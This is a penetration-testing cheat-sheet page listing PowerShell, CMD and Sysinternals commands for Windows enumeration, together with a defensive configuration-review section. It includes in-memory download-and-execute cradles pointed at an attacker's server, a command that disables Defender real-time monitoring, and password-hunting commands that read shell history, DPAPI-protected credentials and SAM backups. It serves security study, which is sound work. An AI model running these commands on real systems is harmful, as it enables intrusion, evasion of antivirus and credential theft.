CSbyGB - Pentips
Buy me a tea
  • CS By GB - PenTips
    • Welcome to CSbyGB's Pentips
  • Networking, Protocols and Network pentest
    • Basics
    • DNS
    • FTP
    • HTTP & HTTPS
    • IMAP
    • IPMI
    • MSSQL
    • MYSQL
    • NFS
    • Oracle TNS
    • POP3
    • RDP
    • RPC
    • Rservices
    • Rsync
    • SMB
    • SMTP
    • SNMP
    • SSH
    • VOIP and related protocols
    • Winrm
    • WMI
    • Useful tips when you find unknown ports
  • Ethical Hacking - General Methodology
    • Introduction
    • Information Gathering
    • Scanning & Enumeration
    • Exploitation (basics)
    • Password Attacks
    • Post Exploitation
    • Lateral Movement
    • Proof-of-Concept
    • Post-Engagement
    • MITRE ATT&CK
  • External Pentest
    • External Pentest
  • Web Pentesting
    • Introduction to HTTP and web
    • Enumeration
    • OWASP Top 10
    • General Methodo & Misc Tips
    • Web Services and API
    • Vunerabilities and attacks
      • Clickjacking
      • CORS (Misconfigurations)
      • CSRF
      • SSRF
      • Bypass captcha
      • Template Injection (client and server side)
      • MFA bypass
      • XXE
    • Exposed git folder
    • Docker exploitation and Docker vulnerabilities
    • Websockets
  • Mobile App Pentest
    • Android
    • IOS
  • Wireless Pentest
    • Wireless pentest
  • Cloud Pentest
    • Cloud Pentest
    • Google Cloud Platform
    • AWS
  • Thick Client Pentest
    • Thick Client
  • Hardware Pentest
    • ATM
    • IoT
  • Secure Code Review
    • Secure code review
    • Java notes for Secure Code Review
  • AI & AI Pentest
    • MITRE ATLAS
    • OWASP ML and LLM
    • Hugging face
    • AI Python
    • Gemini
    • Ollama
  • Checklist
    • Web Application and API Pentest Checklist
    • Linux Privesc Checklist
    • Mobile App Pentest Checklist
  • Tools
    • Burpsuite
    • Android Studio
    • Frida
    • CrackMapExec
    • Netcat and alternatives
    • Nmap
    • Nuclei
    • Evil Winrm
    • Metasploit
    • Covenant
    • Mimikatz
    • Passwords, Hashes and wordlist tools
    • WFuzz
    • WPScan
    • Powershell Empire
    • Curl
    • Vulnerability Scanning tools
    • Payload Tools
    • Out of band Servers
    • STEWS
    • Webcrawlers
    • Websocat
  • VM and Labs
    • General tips
    • Setup your pentest lab
  • Linux
    • Initial Foothold
    • Useful commands and tools for pentest on Linux
    • Privilege Escalation
      • Kernel Exploits
      • Password and file permission
      • Sudo
      • SUID
      • Capabilities
      • Scheduled tasks
      • NFS Root Squashing
      • Services
      • PATH Abuse
      • Wildcard Abuse
      • Privileged groups
      • Exploit codes Cheat Sheet
  • Windows
    • Offensive windows
    • Enumeration and general Win tips
    • Privilege Escalation
    • Active Directory
    • Attacking Active Directory
      • LLMNR Poisoning
      • SMB Relay Attacks
      • Shell Access
      • IPv6 Attacks
      • Passback Attacks
      • Abusing ZeroLogon
    • Post-Compromise Enumeration
      • Powerview or SharpView (.NET equivalent)
      • AD Manual Enumeration
      • Bloodhound
      • Post Compromise Enumeration - Resources
    • Post Compromise Attacks
      • Pass the Password / Hash
      • Token Impersonation - Potato attacks
      • Kerberos
      • GPP/cPassword Attacks
      • URL File Attack
      • PrintNightmare
      • Printer Bug
      • AutoLogon exploitation
      • Always Installed Elevated exploitation
      • UAC Bypass
      • Abusing ACL
      • Unconstrained Delegation
    • Persistence
    • AV Evasion
    • Weaponization
    • Useful commands in Powershell, CMD and Sysinternals
    • Windows Internals
  • Programming
    • Python programming
    • My scripts
    • Kotlin
  • Binary Exploitation
    • Assembly
    • Buffer Overflow - Stack based - Winx86
    • Buffer Overflow - Stack based - Linux x86
  • OSINT
    • OSINT
    • Create an OSINT lab
    • Sock Puppets
    • Search engines
    • OSINT Images
    • OSINT Email
    • OSINT Password
    • OSINT Usernames
    • OSINT People
    • OSINT Social Media
    • OSINT Websites
    • OSINT Business
    • OSINT Wireless
    • OSINT Tools
    • Write an OSINT report
  • Pentester hardware toolbox
    • Flipper Zero
    • OMG cables
    • Rubber ducky
  • Post Exploitation
    • File transfers between target and attacking machine
    • Maintaining Access
    • Pivoting
    • Cleaning up
  • Reporting
    • How to report your findings
  • Red Team
    • Red Team
    • Defenses Enumeration
    • AV Evasion
  • Writeups
    • Hackthebox Tracks
      • Hackthebox - Introduction to Android Exploitation - Track
    • Hackthebox Writeups
      • Hackthebox - Academy
      • Hackthebox - Access
      • Hackthebox - Active
      • Hackthebox - Ambassador
      • Hackthebox - Arctic
      • Hackthebox - Awkward
      • Hackthebox - Backend
      • Hackthebox - BackendTwo
      • Hackthebox - Bastard
      • Hackthebox - Bastion
      • Hackthebox - Chatterbox
      • Hackthebox - Devel
      • Hackthebox - Driver
      • Hackthebox - Explore
      • Hackthebox - Forest
      • Hackthebox - Good games
      • Hackthebox - Grandpa
      • Hackthebox - Granny
      • Hackthebox - Inject
      • Hackthebox - Jeeves
      • Hackthebox - Jerry
      • Hackthebox - Lame
      • Hackthebox - Late
      • Hackthebox - Love
      • Hackthebox - Mentor
      • Hackthebox - MetaTwo
      • Hackthebox - Monteverde
      • Hackthebox - Nibbles
      • Hackthebox - Optimum
      • Hackthebox - Paper
      • Hackthebox - Photobomb
      • Hackthebox - Poison
      • Hackthebox - Precious
      • Hackthebox - Querier
      • Hackthebox - Resolute
      • Hackthebox - RouterSpace
      • Hackthebox - Sauna
      • Hackthebox - SecNotes
      • Hackthebox - Shoppy
      • Hackthebox - Soccer
      • Hackthebox - Steamcloud
      • Hackthebox - Toolbox
      • Hackthebox - Vault
      • Hackthebox - Updown
    • TryHackme Writeups
      • TryHackMe - Anonymous
      • TryHackMe - Blaster
      • TryHackMe - CMesS
      • TryHackMe - ConvertMyVideo
      • TryHackMe - Corridor
      • TryHackMe - LazyAdmin
      • TryHackMe - Looking Glass
      • TryHackMe - Nahamstore
      • TryHackMe - Overpass3
      • TryHackMe - OWASP Top 10 2021
      • TryHackMe - SimpleCTF
      • TryHackMe - SQL Injection Lab
      • TryHackMe - Sudo Security Bypass
      • TryHackMe - Tomghost
      • TryHackMe - Ultratech
      • TryHackMe - Vulnversity
      • TryHackMe - Wonderland
    • Vulnmachines Writeups
      • Web Labs Basic
      • Web Labs Intermediate
      • Cloud Labs
    • Mobile Hacking Lab
      • Mobile Hacking Lab - Lab - Config Editor
      • Mobile Hacking Lab - Lab - Strings
    • Portswigger Web Security Academy Writeups
      • PS - DomXSS
      • PS - Exploiting vulnerabilities in LLM APIs
    • OWASP projects and challenges writeups
      • OWASP MAS Crackmes
    • Vulnerable APIs
      • Vampi
      • Damn Vulnerable Web Service
      • Damn Vulnerable RESTaurant
    • Various Platforms
      • flAWS 1&2
  • Digital skills
    • How to make a gitbook
    • Marp
    • Linux Tips
    • Docker
    • VSCodium
    • Git Tips
    • Obsidian
  • Durable skills
    • Durable skills wheel/Roue des compétences durables
  • Projects
    • Projects
      • Technical Projects
      • General Projects
  • Talks
    • My Talks about Web Pentest
    • My talks about Android Application hacking
    • Other of my talks and Podcast
  • Resources
    • A list of random resources
Powered by GitBook
On this page
  • Powershell Overview
  • Object manipulation
  • Downloading files
  • Offensive Powershell
  • Disable AV
  • Using modules
  • Enumeration
  • Powershell Remoting
  • Misc
  • DOS CMD
  • Downloading files
  • Encode and Decode files
  • System Enumeration
  • User Enumeration
  • Network Enumeration
  • Hunting passwords
  • AV Enumeration
  • Execute dll files
  • Execute powershell file
  • Sysinternals
  • Pipelist
  • Accesschk
  • schtasks
  • LOLBAS (living off the land binaries)
  • Security configuration review
  • Access control
  • Password policy
  • Patch management
  • Firewall Configuration
  • Antivirus and anti-malware
  • Event logging review
  • Encryption review
  • Remote Access Review
  • Service configuration
  • Backup and recovery
  • Resources
  1. Windows

Useful commands in Powershell, CMD and Sysinternals

PreviousWeaponizationNextWindows Internals

Last updated 1 year ago

Powershell Overview

  • Cmdlet format: Verb-Noun the output of these cmdlets are objects

  • Commom verbs: Get, Start, Stop, Read, Write, New, Out.

  • Get-Command to list all commands

    • Get-Command Verb-* or Get-Command *-Noun to filter the command

  • Get-Help Command-Name will output help on a command.

Object manipulation

  • | Pass output from one cmdlet to another

  • An object will contain methods and properties. You can think of methods as functions that can be applied to output from the cmdlet and you can think of properties as variables in the output from a cmdlet

  • Verb-Noun | Get-Member output methods and properties of the cmdlet

    • Example: Get-Command | Get-Member -MemberType Method

  • One way of manipulating objects is pulling out the properties from the output of a cmdlet and creating a new object. This is done using the Select-Object cmdlet.

    • Example: Get-ChildItem | Select-Object -Property Mode, Name listing the directories and just selecting the mode and the name.

Useful flags

  • first - gets the first x object

  • last - gets the last x object

  • unique - shows the unique objects

  • skip - skips x objects

Filtering objects

  • Verb-Noun | Where-Object -Property PropertyName -operator Value

  • Verb-Noun | Where-Object {$_.PropertyName -operator Value} uses the $_ operator to iterate through every object passed to the Where-Object cmdlet.

  • Operators: Contains If any item in the property value is an exact match for the specified value/, EQ If the property value is the same as the specified value, GT If the property value is greater than the specified value

  • Example: Get-Service | Where-Object -Property Status -eq Stopped Checking the stopped processes

Sort objects

  • Verb-Noun | Sort-Object

  • Example: Get-ChildItem | Sort-Object sorting the list of directories

Downloading files

  • certutil.exe -urlcache -f http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need name-you-want-to-give-the-file (works also in cmd)

  PS C:\Users\users\Desktop> certutil.exe -urlcache -f http://192.168.3.28/powerview.ps1 powerview.ps1
  ****  Online  ****
  CertUtil: -URLCache command completed successfully.
  • wget http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need -OutFile name-you-want-to-give-the-file

  PS C:\Users\user\Desktop> wget http://192.168.3.28/powerview.ps1 -OutFile powerview.ps1
  • iex (New-Object Net.WebClient).DownloadString('http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need') will load it in memory without writing it in the disk, we will the be able to run powerview command if we use it to load powerview for instance

  PS C:\Users\s.chisholm.mayorsec\Desktop> iex (New-Object Net.WebClient).DownloadString('http://192.168.3.28/powerview.ps1')

Offensive Powershell

Disable AV

  • Set-MpPreference -DisableRealtimeMonitoring $true

Using modules

  • Import-Module Module

  • . .\Module.ps1

Enumeration

Powershell Remoting

  • Enter-PSSession -ComputerName workstation-01

  • Enter-PSSession -ComputerName workstation-01 -Credential domain\Username

  • Invoke-Command -ScriptBlock {whoami;hostname} -ComputerName workstation-01 -Credential domain\Username connect to a remote powershell and excute command with ScriptBlock. other command we could do with scriptblock: ipconfig, net user,...

  • Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections List AppLocker rules

Misc

  • Install-Module ActiveDirectoryModule -ScopeCurrentUser Install a module without admin rights

  • Get-MpComputerStatus Check Windows Defender Status

  • Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone Test AppLocker policy

  • Get-HotFix | ft -AutoSize display hotfixes

  • Get-WmiObject -Class Win32_Product | select Name, Version display installed software

  • gci (Get-ChildItem) list named pipes

  • select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password Search file contents

  • Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore search for file extensions

  • View Sticky Notes data

    PS C:\htb> cd .\PSSQLite\
    PS C:\htb> Import-Module .\PSSQLite.psd1
    PS C:\htb> $db = 'C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'
    PS C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap
  • Get-LocalUser check the description field of local users

  • Get-WmiObject -Class Win32_OperatingSystem | select Description Print computer description fields

DOS CMD

Downloading files

  • certutil.exe -urlcache -f http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need name-you-want-to-give-the-file

  • curl.exe -o name-you-want-to-give-the-file http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need

Encode and Decode files

  • certutil -encode file1 encodedfile

  • certutil -decode encodedfile file2

System Enumeration

  • If we want to grep on specific information we can use findstr systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

    c:\>systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" 
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
    OS Name:                   Microsoft Windows 7 Enterprise 
    OS Version:                6.1.7600 N/A Build 7600
    System Type:               X86-based PC
  • If we want to see patches and update wmic qfe

    • wmic qfe get Caption,Description,HotFixID,InstalledOn

  • List the drives wmic logicaldisk list drives

  • schtasks query scheduled task

    • schtasks /query /fo LIST /v

  • driverquery will list installed drivers

  • tasklist /svc get the list of running processes

  • set display all environment variables

  • wmic product get name display installed software

  • icacls c:\Windows\System32\config\SAM check permissions on the SAM file

  • [environment]::OSVersion.Version check OS version

  • cmd /c echo %PATH% review path variable

User Enumeration

  • whoamiwill give info on the current user

  • whoami /priv will give info on the current user and their priv

  • whoami /groups will give info on groups the current user is in

  • net user or net users will list the user on the machine

  • query user logged in users

  • echo %USERNAME% current user

  • net user username will list info about the with the username mentionned

  • net localgroup net localgroup groupname will give info on group

  • qwinsta or query session other users logged in simultaneously

  • net accounts Get Password Policy & Other Account Information

Network Enumeration

  • ipconfig or ipconfig /all

  • arp -a

  • route print

  • netstat -ano list active connections

    • -a: Displays all active connections and listening ports on the target system.

    • -n: Prevents name resolution. IP Addresses and ports are displayed with numbers instead of attempting to resolves names using DNS.

    • -o: Displays the process ID using each listed connection.

    • Any port listed as “LISTENING” that was not discovered with the external port scan can present a potential local service. This is when we might need to use port forwarding to investigate the service.

  • Check what service runs on a specific port (in the example we will use 8080

Scan ports

  • 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null scan some ports on a specific IP

Hunting passwords

  • findstr /si password *.txt will search for the string "password" in txt files /si means it searches in the current directory and all subdirectories (s) and ignore the case (i).

  • findstr /si password *.txt *.ini *.config *.sql same but also in ini, sql and config files

  • findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml Search file contents for string

  • findstr /spin "password" *.* another way

  • Unattend.xml files might have passwords in plaintext or base64 encoded

  • C:\Users\username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt powershell cmd history is also worth looking at

    • To check where it is we can use this command (Get-PSReadLineOption).HistorySavePath

    • We can try to read it gc (Get-PSReadLineOption).HistorySavePath

    • foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue} Retrieve the contents of all Powershell history files that we can access as our current user

  • Powershell credentials are protected with DPAPI. If we can read them we could recover then in cleartext

    • $credential = Import-Clixml -Path 'C:\scripts\pass.xml'

    • $credential.GetNetworkCredential().username

    • $credential.GetNetworkCredential().password

  • dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* search for file extensions

  • where /R C:\ *.config another way

  • C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite Looking for passwords in Sticky notes

  • strings plum.sqlite-wal Using strings to view DB File contents

  • Other files worth checking

%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
  • cmdkey /list list saved credentials

  • runas /savecred /user:domain\user "COMMAND HERE" run command as another user

AV Enumeration

  • sc query windefend will show if Defender is running

  • sc queryex type= service will list all running service

  • netsh advfirewall firewall dump check for firewall

  • netsh firewall show state similar older command

  • netsh firewall show config will show the config of the firewall, useful to see blocked ports and other

Execute dll files

Execute powershell file

  • Sometimes powershell won't launch so we will have to use cmd. It is possible to execute a ps1 script using this trick

    • We take the necessary script in our attacking machine

    • python3 -m http.server 80 we serve it to our target with an http server

    • echo IEX(New-Object Net.WebClient).DownloadString('http://ATTACK-MACHINE-IP/script.ps1 we can use this command to download and execute it in our target.

  • powershell -file file.ps1

Sysinternals

Pipelist

  • pipelist.exe /accepteula enumerate instances of named pipes.

Accesschk

  • accesschk.exe /accepteula

  • accesschk.exe -wuvc Everyone * list service we can write and to which everyone has access

  • .\accesschk64.exe /accepteula -uwdq "C:\Program Files\" List of user groups with read and write privs

schtasks

  • schtasks /query /fo LIST /v

LOLBAS (living off the land binaries)

Security configuration review

Access control

# List all local user accounts
Get-WmiObject -Class Win32_UserAccount | Select-Object Name,Disabled

# List all local groups
Get-WmiObject -Class Win32_Group | Select-Object Name,LocalAccount

# Check permissions on sensitive files or folders
Get-Acl -Path C:\Path\To\FileOrFolder

Password policy

# Retrieve password policy settings
Get-ADDefaultDomainPasswordPolicy

# Check for password expiration settings
Get-ADDefaultDomainPasswordPolicy | Select-Object MaxPasswordAge

# Check for password complexity requirements
Get-ADDefaultDomainPasswordPolicy | Select-Object ComplexityEnabled

Patch management

# Check for installed updates
Get-HotFix

# List missing updates
(Get-WindowsUpdate).Count

Firewall Configuration

# List all firewall rules in a file
Get-NetFirewallRule | Out-File C:\Path\To\firewall-rules.txt

# Check specific rule properties
Get-NetFirewallRule -DisplayName "RuleName"

Antivirus and anti-malware

# Check antivirus status
Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct

# Check last scan time
Get-CimInstance -Namespace "root\SecurityCenter2" -ClassName AntiVirusProduct

Event logging review

# List security event logs
Get-EventLog -LogName Security -Newest 100

# Check for specific event IDs related to security incidents
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4625}

Encryption review

# Check BitLocker status
Get-BitLockerVolume

# Check BitLocker encryption method
Get-BitLockerVolume | Select-Object MountPoint,EncryptionMethod

Remote Access Review

# List RDP settings
Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name 'fDenyTSConnections'

# Check RDP port configuration
Get-NetFirewallRule -DisplayName "Remote Desktop*"

Service configuration

# List all services
Get-Service

# Check service startup type
Get-Service | Select-Object Name,StartType

Backup and recovery

# Check backup status
Get-WBJob

# Verify backup destination
Get-WBBackupTarget

Resources

Full list of operators

Source:

For manual enumeration with powershell check out my article

Enumerate schedule task with Get-ScheduledTask | select TaskName,State

netstat -ano | findstr 8080

From this output we can take the pid and checkout which service it is using tasklist tasklist | findstr 2164

More commands

We can use

is useful to enumerate instances of pipes

is useful to enumerate permissions

will let us enumerate scheduled tasks

here
TryHackMe - Throwback
here
Get-ScheduledTask
here - Pen Test Poster: "White Board" - PowerShell - Built-in Port Scanner! by Matthew Toussain
Rundll32
Pipelist
Accesschk
schtasks
Check out LOLBAS project
Working with WMI - PowerShelldocsmsft
Working with wmic
Logo
Approved Verbs for PowerShell Commands - PowerShelldocsmsft
Approved verbs for Powershell
Logo
Basic PowerShell for PentestersHackTricks
Basic Powershell for penteter on HackTricks
Logo
Example
Example
Example